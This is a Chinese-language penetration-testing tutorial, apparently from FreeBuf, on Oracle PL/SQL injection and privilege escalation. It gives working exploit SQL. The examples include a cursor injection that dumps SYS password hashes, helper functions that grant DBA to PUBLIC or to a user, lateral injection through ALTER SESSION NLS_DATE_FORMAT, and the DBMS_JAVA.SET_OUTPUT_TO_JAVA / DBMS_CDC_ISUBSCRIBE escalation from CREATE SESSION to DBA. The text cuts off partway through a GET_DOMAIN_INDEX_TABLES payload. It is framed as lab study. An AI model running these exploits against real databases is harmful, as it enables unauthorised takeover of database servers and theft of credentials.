系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
如果连Oracle都不会提权,怎么进行下一步的研究Oracle数据库安全!怎么拿下对方服务器?
二、PL/SQL Injection
PL/SQL 是Oracle公司在标准SQL语言的基础上进行扩展,可以在数据库上进行设计编程的一种过程化的语言,类似程序语言JAVA一样可以实现逻辑判断、条件循环、异常处理等细节操作,可以处理复杂性问题。
PL/SQL通常有以下用途:
创建存储过程
创建函数
创建触发器
创建对象
…
需要注意的一点是PL/SQL的执行权限,这个非常重要,说到这个就不得不提到AUTHID CURRENT_USER:
1、如果PL/SQL使用AUTHID CURRENT_USER关键词创建,那么在它执行时会以调用者(invoker)的权限来执行
2、如果没有这个关键词,那么在它执行时会以它的定义者(definer)的权限来执行
还有最重要的一点,Oracle不支持堆叠注入(多语句执行)
至于PL/SQL注入是什么,其实原理就是类似于SQL注入,但利用时有一些oracle自身的特性是需要注意的,看了下面例子差不多就明白了
1、Cursor Injection
先来看下面这个procedure,由DBA(SYS)创建,并赋予public执行权限,也就是说数据库能所有用户都可以调用这个procedure
由于没有声明AUTHID CURRENT_USER,所以该存储进程执行时的权限是其定义者(definer),也就是SYS:
CONNECT / AS SYSDBA;
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
GRANT EXECUTE ON GET_OWNER TO PUBLIC;
很明显P_OBJNM是存在SQL注入的,但由于Oracle不支持堆叠查询,我们只能够使用联合查询来注出一些数据,但仅仅查数据肯定不能满足我们的需求。
set serveroutput on;
exec SYS.GET_OWNER('AAA'' union select PASSWORD from SYS.DBA_USERS --');
我们可以创建一个执行其他命令的函数(需要CREATE PROCEDURE权限),并且加上AUTHID CURRENT_USER,然后用||将函数注入到SQL语句中,当SQL语句以SYS权限执行时,这个被注入的函数作为SQL语句的一部分也会被执行:
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 'GOT_DBA_PRIVS';
END;
/
exec SYS.GET_OWNER('AAA''||TEST5.GET_DBA --');
在这里的GET_DBA这种函数被称为辅助注入函数,如果我们没有办法自己创建辅助注入函数的话,就要寻找oracle上已经存在的、可以辅助注入的函数。其它的可以看这里:
https://www.t00ls.net/articles-23609.html
http://www.davidlitchfield.com/HackingAurora.pdf
2、Lateral SQL Injection
这个是Oracle SQL注入的另一种利用手法,与我们通常理解的Web或代码层面SQL注入不太一样,它主要针对以下两种情况:
Procedure不接收用户输入的参数(参数不可控)
Procedure中SQL语句拼接的参数被定义为NUMBER或DATA类型
先看下面这个存储过程,它接收一个日期类型的参数,并将参数动态拼接入SQL语句:
create or replace procedure date_proc_2 (p_date DATE) is
stmt varchar2(200);
begin
stmt:='select object_name from all_objects where created = ''' || p_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
先来尝试注入一下:
exec date_proc_2('11''||TEST5.GET_DBA --');
直接GG,通常这种情况可能被认为无法注入,但如果我们有ALTER SESSION权限的话,就可以欺骗PL/SQL编译器将任意SQL语句作为日期类型(其实原本这个功能是用来修改日期类型的格式的)
ALTER SESSION SET NLS_DATE_FORMAT = '"'' and TEST6.GET_DBA()=1--"';
-- 然后注入获取DBA
exec SYS.date_proc_2(''' and TEST6.GET_DBA()=1--');
set role dba;
如图所示:
再来看这样一个存储进程,它不接收任何参数,拼接入SQL语句中的参数从sysdate中获取:
create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' || v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
我们故技重施,去污染date类型:
select SYSDATE from dual;
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';
select SYSDATE from dual;
可以看到成功添加一个单引号进去,此时我们再去执行上面的Procedure,会得到一个单引号未正常闭合的报错:
exec SYS.DATE_PROC();
那么我们是否能够将语句成功注入进去呢?答案是暂时还不行,因为date类型限制了长度,如下图:
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"';
但是oracle有个游标(可以理解为给你的语句一个ID,然后执行的时候直接通过ID执行即可)正好可以被我们所利用
关于游标可参考:
https://www.cnblogs.com/huyong/archive/2011/05/04/2036377.html
set serveroutput on;
DECLARE
N NUMBER;
BEGIN
N:=DBMS_SQL.OPEN_CURSOR();
DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO TEST5''; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
END;
/
注意开启输出,不然无法打印游标号!!
之后就是污染date类型,进而实现SQL注入:
ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND DBMS_SQL.EXECUTE(1)=1--"';
-- 此时再执行Procedure
exec SYS.DATE_PROC();
这里停止了,较为深入!!
三、权限提升
1、SET_OUTPUT_TO_JAVA
测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
权限要求:CREATE SESSION
利用DBMS_JAVA.SET_OUTPUT_TO_JAVA()函数的特性来提升只拥有CREATE SESSION的用户的权限
1)原理
该函数可以利用前面提到的Lateral SQL Injection来进行注入,进而获取DBA权限,先来看他的参数:
其中后两个参数允许我们传入SQL语句
这个函数允许用户在另一个新的虚拟session中重定向java输出写入到System.out和System.err,最后两个参数的SQL语句将在这个新session中执行
如果攻击者可以得到一个属于SYS的使用java的package并将它写入System.out和System.err,那么这个新会话的所属者就是SYS,进而所执行的SQL语句也将以SYS权限执行
而DBMS_CDC_ISUBSCRIBE正是一个符合条件package,它可被public执行,属于SYS并且是definer权限执行,通过将无效的订阅名传递给这个包的e INT_PURGE_WINDOW过程,则可以将错误强制写入System.err,随后将以SYS权限执行前一个请求的参数中提供的SQL语句
2)利用
创建普通用户:
create user 用户名 identified by 密码
create user dayu identified by dayu123;
给用户连接赋予权限:
grant 权限 to 用户;
grant create session to dayu;
#connect,resource 是角色,角色有多个权限
CREATE PROCEDURE
切换用户:
connect user/passwrod;
connect dayu/dayu123;
简单查看权限:
select * from user_role_privs;
select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA';
开始提权:
-- 注意替换GRANT语句中的用户名
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO dayu''; END;', 'BEGIN NULL; END;') FROM DUAL;
-- 这句执行会报错,但不影响结果
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
-- 这句其实要不要都行,不执行的话直接grant赋权也行
set role dba;
大佬是提权成功了!!!
2、GET_DOMAIN_INDEX_TABLES
影响版本:Oracle Database <= 10g R2 (未打补丁的情况下)
测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:CREATE SESSION
这个利用的是PL/SQL Injection来提升权限
1)原理
先来看SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的定义:
FUNCTION GET_DOMAIN_INDEX_TABLES (
TYPE_NAME IN VARCHAR2,
TYPE_SCHEMA IN VARCHAR2,
...
BEGIN
IF GET_TABLES = 1 THEN
GETTABLENAMES_CONTEXT := 0;
...
ELSE
STMTSTRING :=
'BEGIN ' ||
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' ||
'END;';
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
DUMMY := DBMS_SQL.EXECUTE(CRS);
DBMS_SQL.CLOSE_CURSOR(CRS);
STMTSTRING := '';
...
可以看到当GET_TABLES != 1时,TYPE_NAME和TYPE_SCHEMA被直接动态拼接进PL/SQL语句中并执行
由于这个函数是以definer权限来执行的,所以我们注入的语句也会以SYS权限来执行
因此我们构造语句,传入参数TYPE_NAME:
DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2
来源:freebuf.com 2021-07-17 10:50:27 by: dayuxiyou
请登录后发表评论
注册